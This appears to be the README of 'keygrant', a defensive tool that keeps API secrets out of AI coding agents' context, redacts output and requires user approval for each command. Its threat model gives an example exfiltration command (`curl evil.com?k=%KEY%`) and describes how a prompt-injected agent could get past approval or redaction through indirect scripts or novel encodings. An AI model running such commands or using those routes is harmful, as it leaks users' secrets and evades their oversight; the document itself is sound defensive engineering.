keygrant
README.md
# keygrant
<!-- mcp-name: io.github.bazingaedward/keygrant -->

Per-command secret injection for AI coding agents. Secrets live in a local
DPAPI-encrypted vault; the model's context only ever sees secret **names** —
values are injected into the child process environment at exec time, and all
output is redacted before it returns to the model.
**Why:** anything placed in an LLM's context can be exfiltrated (prompt
injection, logs, generated code). The fix is architectural: keys never enter
context, only the execution environment.
**Docs:** quickstart, every command, and how approvals, redaction and cloud
sync work: https://keygrant.app/docs/
## Components
- `keygrant.py` — vault + CLI
- `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
- `keygrant list` / `rm NAME`
- `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
- `keygrant revoke NAME|--all` — revoke active approval grants
- `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
- `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
- `list_secrets` — names/descriptions/usage only, never values
- `exec_with_secrets` — server-side exec with injection + forced output redaction
- deliberately **no** set/store tool: writing a value through the model would
put it in context; values enter out-of-band via the CLI only
## Install
### As a Claude Code plugin
The plugin bundles the MCP server and a skill that teaches Claude to use it, so
there's no per-project setup. It needs [uv](https://docs.astral.sh/uv/).
```
/plugin marketplace add bazingaedward/keygrant
/plugin install keygrant@keygrant
```
Add secrets from your terminal with `uvx keygrant==0.1.10 set NAME`, or install
the CLI as below.
### As a CLI and MCP server
```bash
uv tool install keygrant # or: pipx install keygrant
```
Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
there fails; `uv` fetches a suitable Python automatically.
Then, in each project where agents should use secrets:
```bash
keygrant init
```
`init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
existing servers) and appends usage guidance for the model to `CLAUDE.md`,
both idempotently. Restart Claude Code in that folder to load the server.
### macOS
Values live in the login Keychain; approval is a native dialog.

## Threat model
**What this protects against:**
- *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
secret that sits in model context. Values never enter context: the model only
handles names; decryption and injection happen in the executing process.
- *Output leaks* — an agent echoing a secret back. All output returned to the
model is redacted, including base64, hex, and URL-encoded variants.
- *Grant riding* — reusing an approval for something the user never saw.
A grant covers one exact command string in one agent session, expires
after 15 minutes, and lives only in the MCP server's memory — there is no
grants file to forge. A wider session grant exists only when the user
explicitly picks "Allow 30 min". The CLI never reuses a grant.
- *Silent use* — every new command requires explicit user approval; the
dialog shows the full command (over-long commands are refused, not
truncated); timeout means deny.
**What this does NOT protect against (known residual risks):**
- A compromised agent can request a command that exfiltrates the secret over
the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
command — reviewing it is the control. Per-secret egress allowlists (binding
a key to permitted destination hosts) are on the roadmap.
- Indirection: approving `sh deploy.sh` approves whatever `deploy.sh` does,
and the agent may have written that file. Treat script invocations as
approving the script.
- Redaction is a second line of defense, not a guarantee: novel encodings can
evade it. The primary guarantee remains "values never enter context".
- Anything running as the same OS user can read the DPAPI vault. This tool
scopes *agent* access to secrets; it is not a defense against local malware.
## Approval
Every use of a secret — via the CLI or the MCP server — requires the user's
approval through a native, topmost dialog that shows the full command (deny
by default on a 60s timeout). Through the MCP server, approving lets **that
exact command** reuse the secret for **15 minutes** in that session — handy
for retries — while any other command prompts again. To stop the prompts
during a burst of work, pick **Allow 30 min** instead: that agent session may
then use the secrets shown in **any** command for 30 minutes without asking
(macOS and Linux; Windows dialogs offer per-command approval only). It is an
explicit opt-in — the default button is still Deny — and while it lasts you are
no longer reviewing individual commands. Grants are held in the
server's memory only. The CLI prompts on every `keygrant exec`, so an agent
cannot bypass MCP approval by shelling out to it. `keygrant revoke NAME|--all`
voids earlier grants in every running session. The dialog will be replaced by a resident tray
app with toast notifications; the grant semantics stay the same.
## Storage
- **Windows**: values DPAPI-encrypted (per-user) inside
`%USERPROFILE%\.keygrant\vault.json`. Not `%APPDATA%`: packaged apps such as
the Claude desktop app see a private copy of `%APPDATA%`, so the MCP server
they launch and the CLI in a normal terminal would read different vaults.
Up to 0.1.6 the vault lived in `%APPDATA%\keygrant\`. The CLI and the MCP
server merge it into the new home on every start: only names the new vault
has never seen from the old one, never overwriting, so a secret you delete
does not come back. The old files stay, so a 0.1.6 install keeps working
while you upgrade.
- **macOS**: values in the login Keychain (via the `security` CLI; the first
read triggers the OS Keychain permission prompt — an extra OS-level gate);
`~/.config/keygrant/vault.json` holds metadata only
- **Linux**: values in the Secret Service keyring via `secret-tool`
(libsecret-tools + a running keyring daemon; approval dialogs need zenity);
the vault file holds metadata only
The vault file also records usage metadata (use count, last used) as the seed
of an audit trail. Set `KEYGRANT_HOME` to keep the vault somewhere else on any
platform.
## Cloud sync (preview)
Optional end-to-end encrypted sync between your devices
(`uv tool install 'keygrant[cloud]'`). Values are encrypted on the device;
the server only ever stores ciphertext. Nothing is uploaded until you `push`.
**First device**
```bash
uv tool install 'keygrant[cloud]'
keygrant cloud init # choose a password; prints your Emergency Kit
keygrant push STRIPE_KEY # upload an existing local secret
```
Write the Emergency Kit (Account ID + Secret Key) down and keep it offline.
Your data can only be decrypted with your password **and** the Secret Key;
nobody, including keygrant, can recover either for you.
**More devices** — the old device must be online (it can be over SSH or
remote desktop; pairing needs both devices at once, not in one place):
```bash
keygrant devices add # old device: shows a pairing code
keygrant pair # new device: enter the code
```
Both screens then show a fingerprint. **Check they match** before typing
`yes` on the old device — that check is what stops a malicious server from
slipping in its own device. The new device asks for your password once.
**Day to day**
```bash
echo "sk-..." | keygrant set STRIPE_KEY && keygrant push STRIPE_KEY # add / change
keygrant push --delete STRIPE_KEY # remove everywhere
keygrant sync # pull now
```
`list` and `exec` also pull changes on their own (at most once a minute,
silently skipped when offline). If two devices change the same secret,
the later `push` is refused until you `sync`; a local edit you haven't
pushed is never overwritten.
**Lost every device?** On a new machine, `keygrant recover` joins with the
Emergency Kit and your password alone (accounts created before 0.1.4: run
`keygrant cloud enable-recovery` once on an existing device).
**Approve from your phone** — run `keygrant devices add` and enter the code
at https://app.keygrant.app on your phone; the same fingerprint check makes
that browser a trusted approver. When nobody answers the desktop dialog, the
request goes to that page instead; an explicit Deny on the desktop is final.
The browser can approve and see names, never values.
**Leave** — `keygrant cloud delete` destroys the account and all ciphertext;
secrets stay on each machine as local-only entries.
Design and threat model: [`docs/design/cloud-sync-client.md`](docs/design/cloud-sync-client.md).
## Roadmap (prototype → product)
1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
2. Per-secret egress allowlists (bind a key to permitted destination hosts)
3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)
Maintenance
ActivityMaintained
ResponsivenessNo issues